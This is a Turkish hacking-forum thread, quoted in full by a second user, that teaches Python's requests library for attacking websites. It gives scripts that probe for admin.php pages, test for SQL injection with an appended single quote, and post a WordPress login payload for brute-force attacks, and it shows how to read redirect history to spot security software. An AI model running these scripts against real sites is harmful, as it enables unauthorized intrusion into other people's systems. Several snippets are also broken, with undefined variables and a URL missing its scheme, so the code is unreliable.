Neler yeni

PYTHON Post & Get İsteleri// REQUESTS (1 Viewer)

Mesajlar
107
Credits
0
Requests modülü ile bir siteden veri çekebilir ya da o siteye veri yollayabiliriz. Ama bunu neden yaparız. Örneklerle neler yapılacağını anlatacağım.
Admin panel ya da upload sayfası bulmak istediğimizde bu tarz bi kod çalıştırabiliriz.


Kod:
import requests
url = raw_input("enter url")  
url_tag = url + "admin.php"
r = requests.get(url_tag)
if r.status_code == 200:
     print "site has been found!"
else:
     print "couldn't forund"

Url girdisi alıp sonuna dorku ekledik. ve r değişkenini siteye bağladık. r.status code diyerek bağlantı kodunu sorguladık(200ok).
Şimdi de sonuna tek tırnak koyalım ve basit düzeyde bir sql açığı taraması yapalım.


Kod:
import requests
url = raw_input("enter sqli url: ")
url_tag = url + "'"
r = requests.get(url_tag)
if r.status_code == 200 and SQL in r.text:
     print "SQL [+]"
else:
     print "sql[-]"

İkincisinden farklı olarak site içindeki text te sql yazısını arattık. Tek tırnaktan sonra sql ile ilgili hata mesajı çıkarsa bize çıktı döndürecek.
Eğer siteleri listeden çekiyorsanız ve site açılmıyorsa programınız duracaktır. Çünkü yanıt alana kadar bekleyecek r değerini tanımlamaya çalışacak.
bu durumda "timeout" kullanabiliriz.

Kod:
payload = {'log': username, 'pwd': sifre}

Bu payload wordpress sitelerde brute atack yapmanızı sağlıyo. Şimdi saldırı yapalım ve timeout kullanarak site alive değilse işlemi durduralım.

Kod:
import requests
url=raw_input("enter url : ")
url_tag = url + "wp-login.php"
username = "admin"
pwn = "password"
payload = {'log': username, 'pwd': sifre}
r=requests.post(url_tag,  data=payload,  timeout=5)

Bu şekilde payloadımızı post ettik. Eğer beş saniye içinde işlem gerçekleşmezse script kapanır.
Son olarak hedef sistemdeki güvenlik yazılımlarının tespitine bakalım.
Siteden 200ok onay kodu aldınız diyelim. Ama 200 almadan önce bi kez 302 bir kez de 400 almış olabilirsiniz. Güvenlik yazılımı sizi geciktirmiş olabilir.

Şimdi kaç paket geldiğine bakalım.

Kod:
import requests
url= "google.com"
r = requests.get(url)
r.history
r.elapsed.total_seconds()

Emin değilim ama çıktısı buna benzer bir şey oluyor. Google direk 200 vericek muhtemelen.

Kod:
[<Response [302]>, <Response [302]>, <Response [302]>]

Burdaki kısım ile de bağlantının kurulma süresini öğrenebilirsiniz.
[r.elapsed.total_seconds()]

Bağlantının kurulması süresini ve gelen paketleri yorumlayarak sitenin güvenliği hakkında bilgi edinebilirsiz.
 

W1se

Meee🐏
ez152
Mesajlar
1,131
Credits
20
Requests modülü ile bir siteden veri çekebilir ya da o siteye veri yollayabiliriz. Ama bunu neden yaparız. Örneklerle neler yapılacağını anlatacağım.
Admin panel ya da upload sayfası bulmak istediğimizde bu tarz bi kod çalıştırabiliriz.


Kod:
import requests
url = raw_input("enter url") 
url_tag = url + "admin.php"
r = requests.get(url_tag)
if r.status_code == 200:
     print "site has been found!"
else:
     print "couldn't forund"

Url girdisi alıp sonuna dorku ekledik. ve r değişkenini siteye bağladık. r.status code diyerek bağlantı kodunu sorguladık(200ok).
Şimdi de sonuna tek tırnak koyalım ve basit düzeyde bir sql açığı taraması yapalım.


Kod:
import requests
url = raw_input("enter sqli url: ")
url_tag = url + "'"
r = requests.get(url_tag)
if r.status_code == 200 and SQL in r.text:
     print "SQL [+]"
else:
     print "sql[-]"

İkincisinden farklı olarak site içindeki text te sql yazısını arattık. Tek tırnaktan sonra sql ile ilgili hata mesajı çıkarsa bize çıktı döndürecek.
Eğer siteleri listeden çekiyorsanız ve site açılmıyorsa programınız duracaktır. Çünkü yanıt alana kadar bekleyecek r değerini tanımlamaya çalışacak.
bu durumda "timeout" kullanabiliriz.

Kod:
payload = {'log': username, 'pwd': sifre}

Bu payload wordpress sitelerde brute atack yapmanızı sağlıyo. Şimdi saldırı yapalım ve timeout kullanarak site alive değilse işlemi durduralım.

Kod:
import requests
url=raw_input("enter url : ")
url_tag = url + "wp-login.php"
username = "admin"
pwn = "password"
payload = {'log': username, 'pwd': sifre}
r=requests.post(url_tag,  data=payload,  timeout=5)

Bu şekilde payloadımızı post ettik. Eğer beş saniye içinde işlem gerçekleşmezse script kapanır.
Son olarak hedef sistemdeki güvenlik yazılımlarının tespitine bakalım.
Siteden 200ok onay kodu aldınız diyelim. Ama 200 almadan önce bi kez 302 bir kez de 400 almış olabilirsiniz. Güvenlik yazılımı sizi geciktirmiş olabilir.

Şimdi kaç paket geldiğine bakalım.

Kod:
import requests
url= "google.com"
r = requests.get(url)
r.history
r.elapsed.total_seconds()

Emin değilim ama çıktısı buna benzer bir şey oluyor. Google direk 200 vericek muhtemelen.

Kod:
[<Response [302]>, <Response [302]>, <Response [302]>]

Burdaki kısım ile de bağlantının kurulma süresini öğrenebilirsiniz.
[r.elapsed.total_seconds()]

Bağlantının kurulması süresini ve gelen paketleri yorumlayarak sitenin güvenliği hakkında bilgi edinebilirsiz.
es
 

Bu konuyu görüntüleyen kullanıcılar